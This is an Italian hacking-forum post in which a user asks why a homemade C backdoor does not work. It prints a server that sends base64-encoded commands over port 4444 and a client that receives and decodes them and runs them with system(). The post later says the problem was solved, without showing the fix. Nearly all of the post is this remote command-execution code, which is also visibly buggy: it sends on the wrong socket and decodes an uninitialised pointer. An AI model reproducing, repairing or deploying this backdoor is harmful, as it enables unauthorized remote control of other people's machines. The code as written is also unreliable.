Domanda problema backdoor

FuckSociety

Utente Silver
6 Febbraio 2021
140
49
52
Ultima modifica:
Ciao a tutti, sto provando a creare una backdoor in C ma non funziona, metto qui sotto il codice:
Server:
C:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>
#include<unistd.h>
#include<errno.h>
#include"base64.h"
#define SIZE 1024
#define PORT 4444
 
int main(int argc, char *argv[]) {
    char buffer[SIZE];
    char *base64buf;
    int sock=socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    memset(&server, '0', sizeof(server));
    memset(buffer, '0', sizeof(buffer));
    server.sin_family=AF_INET;
    server.sin_port=htons(4444);
    server.sin_addr.s_addr=htonl(INADDR_ANY);
    int sbind= bind(sock, (struct sockaddr*)&server, sizeof(server));
    int slist=listen(sock, 5);
    while (1==1) {
        int saccept=accept(sock, (struct sockaddr*)NULL, NULL);
        printf("client> ");
        fgets(buffer, SIZE, stdin); buffer[strlen(buffer)-1]='\0';
        long input_size=strlen(buffer); base64buf=base64_encode(buffer, input_size, &input_size);
        send(sock, base64buf, sizeof(base64buf), 0);
    }
 
    return 0;
}

Client:
C:
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>
#include<unistd.h>
#include<errno.h>
#include"base64.h"
#define SIZE 1024
#define PORT 4444
 
int main(int argc, char *argv[]) {
    char recvb64[SIZE];
    int csock=socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    memset(&server, '0', sizeof(server));
    server.sin_family=AF_INET;
    server.sin_port=htons(4444);
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    int ccsock=connect(csock, (struct sockaddr*)&server, sizeof(server));
    while(1) {
        recv(csock, recvb64, sizeof(recvb64), 0);
        char *recvb; long input_size=strlen(recvb64); recvb=base64_decode(recvb, input_size, &input_size);
        system(recvb);
    }
    return 0;
}
Messaggio unito automaticamente:

Ho risolto, potete chiudere la discussione.